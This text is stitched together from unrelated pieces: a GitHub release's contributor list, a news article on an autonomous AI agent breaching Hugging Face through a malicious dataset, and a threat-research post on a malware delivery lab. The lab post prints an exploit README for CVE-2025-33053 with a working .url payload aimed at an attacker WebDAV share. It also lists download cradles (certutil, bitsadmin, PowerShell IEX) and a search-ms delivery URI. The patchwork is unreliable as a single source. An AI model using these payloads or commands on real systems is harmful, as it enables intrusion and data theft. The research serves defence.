@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

Tags: #Anthropic | #Cloud | #Meta

The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.

Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.

None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”

A malicious dataset opened two code-execution paths

On July 16, Hugging Face disclosed that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces.

Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.

The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.

Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion.

Why the defenders’ queries looked like attacks

Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.

First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.

Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”

The forensic analysis finished on GLM 5.2

GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.

What authenticated trust changes

The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”

“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”

Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”

AI-enabled attacks rose 89% year-over-year

Autonomous AI-driven attacks are not limited to AI platforms. CrowdStrike’s 2026 Global Threat Report documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.

Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.

AI Pipeline Breach Response Playbook

The board question is operational resilience

“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy.

She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.

“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued.

Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”

Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

• Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

• Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

• Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.